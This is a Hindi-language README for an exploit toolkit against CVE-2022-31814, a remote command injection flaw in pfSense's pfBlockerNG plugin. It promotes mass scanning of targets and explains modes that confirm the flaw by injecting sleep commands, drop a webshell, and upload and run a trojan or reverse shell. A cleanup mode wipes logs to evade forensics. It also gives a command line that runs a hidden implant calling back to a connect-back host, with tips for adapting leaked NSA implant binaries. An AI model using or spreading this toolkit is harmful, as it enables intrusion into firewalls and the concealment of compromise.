
CVE-2022-31814 शोषण टूलकिट।
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) शोषण टूलकिट।
यह pfSense pfBlockerNG <= 2.1.4_26 प्लगइन्स की रिमोट कमांड इंजेक्शन सुविधा के लिए एक शोषण टूलकिट है, जिसे IHTeam द्वारा खोजा गया।
मैंने इसे NSA के फायरवॉल शोषण टूलकिट में पाए जाने वाले कुछ डिज़ाइन सिद्धांतों के साथ खेलने के लिए लिखा है - इस कारण से, इसे nopen इम्प्लांट के साथ पूरी तरह से संगत होने के लिए डिज़ाइन किया गया है (एक छोटा और प्रलेखित परिवर्तन आवश्यक है), इसमें बिल्ट-इन लॉग वाइपिंग सुविधाएँ हैं, और कुछ प्री-फ्लाइट चेक (निष्क्रिय और सक्रिय भेद्यता परीक्षण) को लागू करके अत्यधिक विश्वसनीय है।
इस टूलकिट में nopen के विकल्प के रूप में Python में लिखा एक सामान्य रिवर्स TTY शेल पेलोड प्रदान किया गया है, क्योंकि उत्पादन वातावरण में NSA से चुराए गए संदिग्ध बाइनरी चलाना थोड़ा मूर्खतापूर्ण लगता है।
शुरुआती बाउंटियों और बड़े पैमाने पर शोषण के लिए योलो-स्कैनिंग के लिए, प्रदान किया गया nuclei टेम्पलेट चलाएँ (अब तक इसे अपस्ट्रीम भी कर दिया गया होगा)। इससे आपको एक लक्ष्य सूची मिलेगी। इस फ़ाइल का नाम nuclei-CVE-2022-31814.yaml है।
नेटवर्क की सटीक देखभाल के लिए, चार "मोड" हैं जिनके बारे में आपको जानना चाहिए, और नीचे प्रलेखित हैं। उन्हें क्रम में चलाएँ। इन्हें "--mode" फ़्लैग का उपयोग करके सेट किया जाता है।
यह मोड दो HTTP अनुरोध करता है - एक यह जांचने के लिए कि यह वास्तव में pfSense है ( / पर HTTP शीर्षक की जाँच करके), और एक कमजोर एंडपॉइंट पर यह जांचने के लिए कि यह ठीक दिखता है। यह मोड किसी भी चीज़ का शोषण नहीं करता है।
यह मोड दो HTTP अनुरोध करता है - दोनों ही भेद्यता का शोषण करते हैं।
यह sleep 1 और sleep 10 इंजेक्ट करता है और सुनिश्चित करता है कि दोनों अनुरोधों के बीच का समय अंतर 6 सेकंड से अधिक है।
मैंने इसमें थोड़ा 'फकिट' फैक्टर जोड़ा है ताकि यदि आप किसी प्रॉक्सी के माध्यम से शोषण कर रहे हैं तो विलंबता को ध्यान में रखा जा सके (आप कर रहे हैं, है ना?)।
यह मोड 3 HTTP अनुरोध करता है।
पहला GET अनुरोध का उपयोग करके वेबशेल ड्रॉप करने के लिए भेद्यता का शोषण करता है। दूसरा POST अनुरोध का उपयोग करके हमारे ट्रोजन को अपलोड करने के लिए वेबशेल का उपयोग करता है। तीसरा POST अनुरोध का उपयोग करके हमारे ट्रोजन को निष्पादित करने के लिए वेबशेल का उपयोग करता है।
यह मोड दो HTTP अनुरोध करता है। पहला वेबशेल का उपयोग करके एक क्लीनअप स्क्रिप्ट अपलोड करता है। दूसरा क्लीनअप स्क्रिप्ट को निष्पादित करता है।
क्लीनअप स्क्रिप्ट लॉग को मिटा देती है, ट्रोजन को हटा देती है, वेबशेल को हटा देती है, और फिर स्वयं को हटा देती है। यह एक उचित तरीके से (rm -rf) करता है। विशेष रूप से फोरेंसिक रूप से मजबूत नहीं है - मैं बाद में फ़ाइलों को हटाने से पहले dd का उपयोग करके ओवरराइट करके इसे ठीक कर सकता हूँ। मैं लॉग को सर्जिकल रूप से मिटाने के लिए कुछ sed मैजिक भी लिख सकता हूँ, लेकिन वास्तव में, केवल अगर मैं ऐसा करने में सक्षम हूँ।
nopen के उपयोग के लिए, बस exploit() फ़ंक्शन में अंतिम "execute trojan" कमांड को निम्नलिखित से बदलें:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
और एक freebsd nopen (noserver) बाइनरी प्रदान करें जो आपके लक्ष्य सिस्टम पर काम करता है - यह कठिन हो सकता है, आपको EQGRP लीक से noserver-3.3.2.3-freebsd_8.0-i386 को पैच करने की आवश्यकता है ताकि libkvm.so.5 के बजाय libkvm.so.7 का उपयोग किया जा सके, और लक्ष्य सिस्टम को lib32 संगतता परत की आवश्यकता है... जो pfSense में डिफ़ॉल्ट रूप से शामिल नहीं है।
मैं बाद के रिलीज़ में इसे स्वचालित करने के लिए एक --nopen फ़्लैग जोड़ सकता हूँ, यदि लोग nopen का उपयोग करने के लिए वास्तव में इतना ध्यान रखते हैं। उन्हें नहीं रखना चाहिए।
